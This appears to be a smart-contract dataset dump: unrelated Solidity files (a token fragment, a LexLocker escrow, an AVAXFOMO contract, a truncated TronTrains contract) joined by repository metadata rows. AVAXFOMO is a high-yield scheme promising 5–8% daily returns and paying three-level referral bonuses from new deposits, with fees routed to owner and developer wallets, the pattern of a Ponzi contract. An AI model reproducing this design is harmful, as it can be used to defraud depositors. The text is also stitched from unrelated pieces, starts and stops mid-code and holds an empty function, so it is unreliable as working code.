uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _setBurnFee(uint256 burnFee) private {
require(burnFee >= 0 && burnFee <= 1500, 'burnFee should be in 0 - 15');
_BURN_FEE = burnFee;
}
function setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 1500, 'burnFee should be in 0 - 15');
_setBurnFee(burnFee);
}
function setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 1500, 'taxFee should be in 0 - 15');
_TAX_FEE = taxFee;
}
function getTaxFee() public view returns(uint256) {
return _TAX_FEE;
}
function getBurnFee() public view returns(uint256) {
return _BURN_FEE;
}
function getMaxTxSize() private pure returns(uint256) {
return _MAX_TX_SIZE;
}
function getTideCycle() public view returns(uint256) {
return _tideCycle;
}
function getBurnCycle() public view returns(uint256) {
return _tBurnCycle;
}
function getTradedCycle() public view returns(uint256) {
return _tTradeCycle;
}
function _rebase(uint256 supplyDelta) internal {
_tideCycle = _tideCycle.add(1);
_tTotal = _tTotal.add(supplyDelta);
// after 148, the protocol reaches its final stage
// fees will be set to 0 and the remaining total supply will be 5,650,000
if(_tideCycle > 148 || _tTotal <= 5650000 * _DECIMALFACTOR){
_initializeFinalStage();
}
}
function _initializeFinalStage() internal {
_setBurnFee(0);
}
}
| 158,415 | 13,652 |
06cd9bf9cbd6a84638ddb0dd1b83e6b13eb4328d575c705931e99eecb06d1d8b
| 23,259 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xd905ca2de8a959c34501a0dc84a080b3e943719f.sol
| 5,273 | 21,891 |
pragma solidity 0.7.5;
interface IERC20 { // brief interface for erc20 token tx
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
library Address { // helper for address type - see openzeppelin-contracts/blob/master/contracts/utils/Address.sol
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returnData) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returnData.length > 0) { // return data is optional
require(abi.decode(returnData, (bool)), "SafeERC20: erc20 operation did not succeed");
}
}
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
}
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract LexLocker is Context, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public manager; // account managing LXL settings - see 'Manager Functions' - updateable by manager
address public swiftResolverToken; // token required to participate as swift resolver - updateable by manager
address public wETH; // ether token wrapper contract reference - updateable by manager
uint256 private lockerCount; // lockers counted into LXL registry
uint256 public MAX_DURATION; // time limit in seconds on token lockup - default 63113904 (2-year) - updateable by manager
uint256 public resolutionRate;
uint256 public swiftResolverTokenBalance; // balance required in `swiftResolverToken` to participate as swift resolver - updateable by manager
string public lockerTerms; // general terms wrapping LXL - updateable by manager
string[] public marketTerms; // market LXL terms stamped by manager
string[] public resolutions; // locker resolutions stamped by LXL resolvers
mapping(address => uint256[]) private clientRegistrations; // tracks registered lockers per client account
mapping(address => uint256[]) private providerRegistrations; // tracks registered lockers per provider account
mapping(address => bool) public swiftResolverRegistrations; // tracks registered swift resolvers
mapping(uint256 => ADR) public adrs; // tracks ADR details for registered lockers
mapping(uint256 => Locker) public lockers; // tracks registered lockers details
event DepositLocker(address indexed client, address clientOracle, address indexed provider, address indexed resolver, address token, uint256[] amount, uint256 registration, uint256 sum, uint256 termination, string details, bool swiftResolver);
event RegisterLocker(address indexed client, address clientOracle, address indexed provider, address indexed resolver, address token, uint256[] amount, uint256 registration, uint256 sum, uint256 termination, string details, bool swiftResolver);
event ConfirmLocker(address token, uint256 registration, uint256 sum);
event RequestLockerResolution(address indexed client, address indexed counterparty, address indexed resolver, address token, uint256 deposit, uint256 registration, string details, bool swiftResolver);
event Release(uint256 milestone, uint256 payment, uint256 registration);
event Withdraw(address indexed client, uint256 registration);
event AssignClientOracle(address indexed clientOracle, uint256 registration);
event ClientProposeResolver(address indexed proposedResolver, uint256 registration, string details);
event ProviderProposeResolver(address indexed proposedResolver, uint256 registration, string details);
event UpdateSwiftResolverStatus(address indexed swiftResolver, string details, bool registered);
event Lock(address indexed caller, uint256 registration, string details);
event Resolve(address indexed resolver, uint256 clientAward, uint256 providerAward, uint256 registration, uint256 resolutionFee, string resolution);
event AddMarketTerms(uint256 index, string terms);
event AmendMarketTerms(uint256 index, string terms);
event UpdateLockerSettings(address indexed manager, address swiftResolverToken, address wETH, uint256 MAX_DURATION, uint256 resolutionRate, uint256 swiftResolverTokenBalance, string lockerTerms);
event TributeToManager(uint256 amount, string details);
struct ADR {
address proposedResolver;
address resolver;
uint8 clientProposedResolver;
uint8 providerProposedResolver;
uint256 resolutionRate;
string resolution;
bool swiftResolver;
}
struct Locker {
address client;
address clientOracle;
address provider;
address token;
uint8 confirmed;
uint8 locked;
uint256[] amount;
uint256 currentMilestone;
uint256 milestones;
uint256 released;
uint256 sum;
uint256 termination;
string details;
}
constructor(address _manager,
address _swiftResolverToken,
address _wETH,
uint256 _MAX_DURATION,
uint256 _resolutionRate,
uint256 _swiftResolverTokenBalance,
string memory _lockerTerms) {
manager = _manager;
swiftResolverToken = _swiftResolverToken;
wETH = _wETH;
MAX_DURATION = _MAX_DURATION;
resolutionRate = _resolutionRate;
swiftResolverTokenBalance = _swiftResolverTokenBalance;
lockerTerms = _lockerTerms;
}
function depositLocker(// CLIENT-TRACK
address clientOracle,
address provider,
address resolver,
address token,
uint256[] memory amount,
uint256 termination,
string memory details,
bool swiftResolver) external nonReentrant payable returns (uint256) {
require(_msgSender() != resolver && clientOracle != resolver && provider != resolver, "client/clientOracle/provider = resolver");
require(termination <= block.timestamp.add(MAX_DURATION), "duration maxed");
uint256 sum;
for (uint256 i = 0; i < amount.length; i++) {
sum = sum.add(amount[i]);
}
if (msg.value > 0) {
address weth = wETH;
require(token == weth && msg.value == sum, "!ethBalance");
(bool success,) = weth.call{value: msg.value}("");
require(success, "!ethCall");
IERC20(weth).safeTransfer(address(this), msg.value);
} else {
IERC20(token).safeTransferFrom(_msgSender(), address(this), sum);
}
lockerCount++;
uint256 registration = lockerCount;
clientRegistrations[_msgSender()].push(registration);
providerRegistrations[provider].push(registration);
adrs[registration] = ADR(address(0),
resolver,
0,
0,
resolutionRate,
"",
swiftResolver);
lockers[registration] = Locker(_msgSender(),
clientOracle,
provider,
token,
1,
0,
amount,
1,
amount.length,
0,
sum,
termination,
details);
emit DepositLocker(_msgSender(), clientOracle, provider, resolver, token, amount, registration, sum, termination, details, swiftResolver);
return registration;
}
function registerLocker(// PROVIDER-TRACK
address client,
address clientOracle,
address provider,
address resolver,
address token,
uint256[] memory amount,
uint256 termination,
string memory details,
bool swiftResolver) external nonReentrant returns (uint256) {
require(client != resolver && clientOracle != resolver && provider != resolver, "client/clientOracle/provider = resolver");
require(termination <= block.timestamp.add(MAX_DURATION), "duration maxed");
uint256 sum;
for (uint256 i = 0; i < amount.length; i++) {
sum = sum.add(amount[i]);
}
lockerCount++;
uint256 registration = lockerCount;
clientRegistrations[client].push(registration);
providerRegistrations[provider].push(registration);
adrs[registration] = ADR(address(0),
resolver,
0,
0,
resolutionRate,
"",
swiftResolver);
lockers[registration] = Locker(client,
clientOracle,
provider,
token,
0,
0,
amount,
1,
amount.length,
0,
sum,
termination,
details);
emit RegisterLocker(client, clientOracle, provider, resolver, token, amount, registration, sum, termination, details, swiftResolver);
return registration;
}
function confirmLocker(uint256 registration) external nonReentrant payable { // PROVIDER-TRACK
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client, "!client");
require(locker.confirmed == 0, "confirmed");
address token = locker.token;
uint256 sum = locker.sum;
if (msg.value > 0) {
address weth = wETH;
require(token == weth && msg.value == sum, "!ethBalance");
(bool success,) = weth.call{value: msg.value}("");
require(success, "!ethCall");
IERC20(weth).safeTransfer(address(this), msg.value);
} else {
IERC20(token).safeTransferFrom(_msgSender(), address(this), sum);
}
locker.confirmed = 1;
emit ConfirmLocker(token, registration, sum);
}
function requestLockerResolution(address counterparty, address resolver, address token, uint256 deposit, string memory details, bool swiftResolver) external nonReentrant payable returns (uint256) {
require(_msgSender() != resolver && counterparty != resolver, "client/counterparty = resolver");
if (msg.value > 0) {
address weth = wETH;
require(token == weth && msg.value == deposit, "!ethBalance");
(bool success,) = weth.call{value: msg.value}("");
require(success, "!ethCall");
IERC20(weth).safeTransfer(address(this), msg.value);
} else {
IERC20(token).safeTransferFrom(_msgSender(), address(this), deposit);
}
uint256[] memory amount = new uint256[](1);
amount[0] = deposit;
lockerCount++;
uint256 registration = lockerCount;
clientRegistrations[_msgSender()].push(registration);
providerRegistrations[counterparty].push(registration);
adrs[registration] = ADR(address(0),
resolver,
0,
0,
resolutionRate,
"",
swiftResolver);
lockers[registration] = Locker(_msgSender(),
address(0),
counterparty,
token,
1,
1,
amount,
0,
0,
0,
deposit,
0,
details);
emit RequestLockerResolution(_msgSender(), counterparty, resolver, token, deposit, registration, details, swiftResolver);
return registration;
}
function assignClientOracle(address clientOracle, uint256 registration) external nonReentrant {
ADR storage adr = adrs[registration];
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client, "!client");
require(clientOracle != adr.resolver, "clientOracle = resolver");
require(locker.locked == 0, "locked");
require(locker.released < locker.sum, "released");
locker.clientOracle = clientOracle;
emit AssignClientOracle(clientOracle, registration);
}
function release(uint256 registration) external nonReentrant {
Locker storage locker = lockers[registration];
uint256 milestone = locker.currentMilestone-1;
uint256 payment = locker.amount[milestone];
uint256 released = locker.released;
uint256 sum = locker.sum;
require(_msgSender() == locker.client || _msgSender() == locker.clientOracle, "!client/oracle");
require(locker.confirmed == 1, "!confirmed");
require(locker.locked == 0, "locked");
require(released < sum, "released");
IERC20(locker.token).safeTransfer(locker.provider, payment);
locker.released = released.add(payment);
if (locker.released < sum) {locker.currentMilestone++;}
emit Release(milestone+1, payment, registration);
}
function withdraw(uint256 registration) external nonReentrant {
Locker storage locker = lockers[registration];
address client = locker.client;
uint256 released = locker.released;
uint256 sum = locker.sum;
require(_msgSender() == client || _msgSender() == locker.clientOracle, "!client/oracle");
require(locker.confirmed == 1, "!confirmed");
require(locker.locked == 0, "locked");
require(released < sum, "released");
require(locker.termination < block.timestamp, "!terminated");
IERC20(locker.token).safeTransfer(client, sum.sub(released));
locker.released = sum;
emit Withdraw(client, registration);
}
function lock(uint256 registration, string calldata details) external nonReentrant {
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client || _msgSender() == locker.provider, "!party");
require(locker.confirmed == 1, "!confirmed");
require(locker.released < locker.sum, "released");
locker.locked = 1;
emit Lock(_msgSender(), registration, details);
}
function resolve(uint256 clientAward, uint256 providerAward, uint256 registration, string calldata resolution) external nonReentrant {
ADR storage adr = adrs[registration];
Locker storage locker = lockers[registration];
address token = locker.token;
uint256 released = locker.released;
uint256 sum = locker.sum;
uint256 remainder = sum.sub(released);
uint256 resolutionFee = remainder.div(adr.resolutionRate);
require(locker.locked == 1, "!locked");
require(released < sum, "released");
require(clientAward.add(providerAward) == remainder.sub(resolutionFee), "awards != remainder - fee");
if (adr.swiftResolver) {
require(_msgSender() != locker.client && _msgSender() != locker.provider, "swiftResolver = client/provider");
require(IERC20(swiftResolverToken).balanceOf(_msgSender()) >= swiftResolverTokenBalance && swiftResolverRegistrations[_msgSender()], "!swiftResolverTokenBalance/registered");
} else {
require(_msgSender() == adr.resolver, "!resolver");
}
IERC20(token).safeTransfer(_msgSender(), resolutionFee);
IERC20(token).safeTransfer(locker.client, clientAward);
IERC20(token).safeTransfer(locker.provider, providerAward);
adr.resolution = resolution;
locker.released = sum;
resolutions.push(resolution);
emit Resolve(_msgSender(), clientAward, providerAward, registration, resolutionFee, resolution);
}
function clientProposeResolver(address proposedResolver, uint256 registration, string calldata details) external nonReentrant {
ADR storage adr = adrs[registration];
Locker storage locker = lockers[registration];
require(_msgSender() == locker.client, "!client");
require(_msgSender() != proposedResolver && locker.clientOracle != proposedResolver && locker.provider != proposedResolver, "client/clientOracle/provider = proposedResolver");
require(adr.clientProposedResolver == 0, "pending");
require(locker.released < locker.sum, "released");
if (adr.proposedResolver == proposedResolver) {
adr.resolver = proposedResolver;
}
adr.proposedResolver = proposedResolver;
adr.clientProposedResolver = 1;
adr.providerProposedResolver = 0;
emit ClientProposeResolver(proposedResolver, registration, details);
}
function providerProposeResolver(address proposedResolver, uint256 registration, string calldata details) external nonReentrant {
ADR storage adr = adrs[registration];
Locker storage locker = lockers[registration];
require(_msgSender() == locker.provider, "!provider");
require(locker.client != proposedResolver && locker.clientOracle != proposedResolver && _msgSender() != proposedResolver, "client/clientOracle/provider = proposedResolver");
require(adr.providerProposedResolver == 0, "pending");
require(locker.released < locker.sum, "released");
if (adr.proposedResolver == proposedResolver) {
adr.resolver = proposedResolver;
}
adr.proposedResolver = proposedResolver;
adr.clientProposedResolver = 0;
adr.providerProposedResolver = 1;
emit ProviderProposeResolver(proposedResolver, registration, details);
}
function updateSwiftResolverStatus(string calldata details, bool registered) external nonReentrant {
require(IERC20(swiftResolverToken).balanceOf(_msgSender()) >= swiftResolverTokenBalance, "!swiftResolverTokenBalance");
swiftResolverRegistrations[_msgSender()] = registered;
emit UpdateSwiftResolverStatus(_msgSender(), details, registered);
}
function getClientRegistrations(address account) external view returns (uint256[] memory) { // get `client` registered lockers
return clientRegistrations[account];
}
function getProviderAmounts(uint256 registration) external view returns (address, uint256[] memory) { // get `token` and milestone `amount`s for `provider`
return (lockers[registration].token, lockers[registration].amount);
}
function getProviderRegistrations(address account) external view returns (uint256[] memory) { // get `provider` registered lockers
return providerRegistrations[account];
}
function getLockerCount() external view returns (uint256) { // get total registered lockers
return lockerCount;
}
function getMarketTermsCount() external view returns (uint256) { // get total market terms stamped by `manager`
return marketTerms.length;
}
function getResolutionsCount() external view returns (uint256) { // get total resolutions passed by LXL `resolver`s
return resolutions.length;
}
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function addMarketTerms(string calldata terms) external nonReentrant onlyManager {
marketTerms.push(terms);
emit AddMarketTerms(marketTerms.length-1, terms);
}
function amendMarketTerms(uint256 index, string calldata terms) external nonReentrant onlyManager {
marketTerms[index] = terms;
emit AmendMarketTerms(index, terms);
}
function tributeToManager(string calldata details) external nonReentrant payable {
(bool success,) = manager.call{value: msg.value}("");
require(success, "!ethCall");
emit TributeToManager(msg.value, details);
}
function updateLockerSettings(address _manager,
address _swiftResolverToken,
address _wETH,
uint256 _MAX_DURATION,
uint256 _resolutionRate,
uint256 _swiftResolverTokenBalance,
string calldata _lockerTerms) external nonReentrant onlyManager {
manager = _manager;
swiftResolverToken = _swiftResolverToken;
wETH = _wETH;
MAX_DURATION = _MAX_DURATION;
resolutionRate = _resolutionRate;
swiftResolverTokenBalance = _swiftResolverTokenBalance;
lockerTerms = _lockerTerms;
emit UpdateLockerSettings(_manager, _swiftResolverToken, _wETH, _MAX_DURATION, _resolutionRate, _swiftResolverTokenBalance, _lockerTerms);
}
}
| 275,895 | 13,653 |
eebde3eb7981aeabf3225523fb352790ace654678238ba052f568ecdf95813dd
| 11,908 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0a/0a314f69cbf547a1b028acc8e8c9814cd3a583c0_AVAXFOMO.sol
| 3,675 | 11,211 |
pragma solidity 0.5.8;
contract AVAXFOMO {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether; // 0.1 AVAX
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 60;
uint256 constant public DEVELOPER_FEE = 40;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 100; //10%
uint256 WITHDRAW_FEE_2 = 150; //15%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 65)); // 6.5% per day for 21 days
plans.push(Plan(28, 50)); // 5% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 65)); // 6.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 50)); // 5% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 88,470 | 13,654 |
a6581b4d46349d1cee4e73cdef18c69e95708c4c4b5d2027a44074cfb7486932
| 19,700 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWSsegrVvGWmUgUbXRaB68QeH4akp65Ssn_TronTrains.sol
| 5,689 | 19,413 |
//SourceUnit: trontrain.sol
pragma solidity >=0.4.23 <= 0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract TronTrain {
function userInfo(address _addr) view external returns(address, uint256, uint256, uint256, uint256, uint256, uint256);
function userInfoTotals(address _addr) view external returns(uint256, uint256, uint256, uint256);
}
contract TronTrains {
using SafeMath for *;
struct User {
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint256 deposit_time;
uint256 time;
uint256 pending_payout;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address public implementation;
address payable public owner;
address public deployer;
TronTrain public trontrain = TronTrain(0x41cfe0b2857b215fbded3fd5002e7c37859ca7a21f);
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
mapping(address => User) public users;
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint256 public payoutPeriod = 24 hours;
uint256 public pool_time = 24 hours;
uint256 public pool_start = now;
uint256 public pool_end = now.add(pool_time);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_self_sum;
mapping(uint8 => address) public pool_top;
